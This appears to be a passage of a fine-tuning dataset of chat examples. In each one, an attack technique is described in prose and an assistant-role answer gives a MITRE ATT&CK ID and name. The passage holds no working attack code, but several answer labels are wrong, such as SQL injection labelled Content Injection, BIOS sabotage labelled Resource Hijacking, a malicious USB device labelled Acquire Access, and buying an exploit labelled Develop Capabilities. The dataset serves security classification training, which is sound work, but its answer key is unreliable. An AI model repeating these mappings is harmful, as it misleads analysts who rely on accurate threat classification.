    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs a WMI query 'SELECT * FROM Win32_NetworkAdapterConfiguration' to gather network interface properties."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exfiltrated confidential credentials from Google Cloud Secret Manager by exploiting a misconfigured IAM role."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers perform a network device configuration dump by accessing the configuration management platform's API."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries alter file metadata timestamps using PowerShell's Set-ItemProperty to hide their tools."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Harvests email attachments stored on the local machine before transmitting them out."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts the list of installed drivers from the SystemRoot\\System32\\drivers directory."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors purchase an exploit for a recently patched vulnerability in a firewall to develop capabilities for network perimeter breach."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor installs a systemd timer that triggers a data upload to a C2 server daily."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a compromised Slack bot token to retrieve files shared in private channels and upload them to an external endpoint."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A multi-hop proxy is set up by chaining VPN connections across several intermediate hosts controlled by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Performing a vulnerability scan on a target system to identify missing patches or weak passwords."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate data by uploading it as attachments to phishing emails sent to attacker-controlled email accounts."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A bootkit is installed that injects malicious code into the Master Boot Record, allowing execution prior to OS loading."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a malicious USB device that auto-executed payloads when plugged into a workstation, granting them control."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a rogue DLL to the Winlogon helper path via the Winlogon\\ShellExecuteHooks registry key to execute code on user login."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Scripted cleanup routine deletes the command history logs on compromised servers to remove evidence of malicious commands."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a crafted INF file with cmstp.exe to gain system-level code execution and download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a document triggers code that hooks into the Windows message queue, intercepting all GUI input from the victim's active sessions."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary configures Outlook client rules to automatically move emails containing malicious attachments to the Deleted Items folder, effectively hiding their presence from the user."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary registers a new user account in the victim's AWS environment to gain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs reconnaissance on the target's employee directory to determine role assignments and reporting structures."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised update mechanism swaps the legitimate system image with a trojanized version."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor issues 'docker run --privileged' to launch a container with escalated capabilities."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited a supply chain vulnerability to distribute a tampered OS image, patching the system image on end-user devices with a hidden payload."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script runs a scheduled job in Confluence that periodically backs up the space contents to an external storage location."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker intercepts and rewrites MQTT messages, changing sensor data to cause false readings in IoT devices."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses an internet‑wide scanning service to probe for vulnerable web servers across multiple IP ranges."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping is performed by accessing the LSASS process memory via Windows APIs."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker replaces the website's robots.txt file with a malicious version that redirects browsers to a defaced landing page."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the target of a common shortcut in the user's profile with a command that runs a backdoor during logon."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages the auto-run feature of removable media to launch a data-stealing module when the device is connected."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects SQL commands into a login form to retrieve user credentials from the database."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder uses WMI to transfer files to the victim system by invoking the CIM_DataFile class."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a privileged exploit to remove all firewall rules from the UFW configuration on a Linux server."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware adjusts HTTP header fields to manipulate a reverse proxy's routing logic, causing client requests to be sent to a malicious endpoint."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages scheduled tasks (schtasks.exe) to execute a PowerShell command at system startup."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a hidden Excel macro in a template that runs on startup, downloading additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the launch agents mechanism to execute a payload each time the user logs into their macOS account."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Botnet malware scans IRC channel logs for plaintext passwords and authentication tokens posted by users."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised news outlets are used to embed SEO-poisoned anchor text pointing to a malicious download site, increasing its search engine rank and victim exposure."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit the systemd \"systemctl\" command to enable and start a malicious user service that runs a cryptominer in the background."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs a browser extension to persist persistence by reinstalling itself after removal."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a forged code‑signing certificate into the system's trusted root store to enable unsigned malicious binaries to run as trusted."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits flaws in identity and access management systems to gain elevated privileges, what MITRE ATT&CK ID represents this action?"
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes a malicious sidecar container that is deployed alongside a legitimate service to capture secrets."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used \"docker exec\" to tamper with log files inside a container to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool dumps LSASS memory, and the extracted credentials are used to log into privileged accounts on multiple systems."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a PowerShell script, the attacker appends high‑privilege domain SIDs to a low‑privilege user's token via SID‑History injection."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts password hashes from a compromised machine’s memory and uses pass-the-hash to access another server."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor leverages the victim's API token to upload exfiltrated logs to a private Box.com folder."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation, the adversary runs a PowerShell command to disconnect mapped network drives and clear the Recent Items list."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary extracts a stolen SSH private key from a compromised user's .ssh directory and uses it to open a new authenticated session on the target server."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intrusion set used the Slack file upload feature to send encrypted exfiltration payloads to a controlled Slack workspace."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage public PKI transparency services to retrieve digital certificates for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan copies the contents of the user's Downloads folder and hidden system files into a hidden zip archive before sending it out."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware compresses command strings using GZIP, then decompresses them on the fly before execution."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries add a new scheduled task that runs a malicious PowerShell script at system startup."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool runs \"wmic path Win32_PnPEntity get Name, DriverVersion\" to enumerate device drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python exploit script was used to exploit a vulnerable web application and gain code execution on the server."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the BIOS settings to disable boot devices, rendering the machine inoperable."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruders exploit a vulnerable content management system to inject malicious JavaScript that redirects visitors to a malicious site."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages the Windows shared module mechanism to load a custom .dll into multiple trusted applications for persistence."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a large network of compromised IoT devices to launch DDoS attacks."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages systemd's drop-in configuration to inject malicious environment variables."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers disguised a ransomware payload as a legitimate PDF document by changing its file type, causing users to open it unknowingly."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrated code by abusing a backup of the Git repository stored on an insecure S3 bucket."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a spoofed phone number and a pre‑recorded message to trick users into installing malicious software."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Docker Swarm, the threat actor schedules a service that repeatedly pulls a compromised container image and executes it."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contained a .chtml attachment that, when opened, triggered the execution of wscript.exe to run a VBScript payload, illustrating the compiled HTML file technique."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses the XSL transformation feature in Microsoft Office to run a VBScript payload hidden within an XSL file."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code invokes the host's image-building utilities to create a tampered VM image."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker alters a shared runtime library, embedding a payload that runs in the context of any application that depends on that library."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers manipulate the application pool identity in IIS to gain elevated privileges and install a persistence mechanism via a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample is found to be communicating with its command and control (C2) server using HTTPS over a non-standard port."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the name \"msiexec.exe\" for a malicious installer placed in the C:\\Windows\\Temp folder to appear as a Windows installer."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload is programmed to wait until a specific calendar date before performing its malicious actions, evading short-lived sandbox environments."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
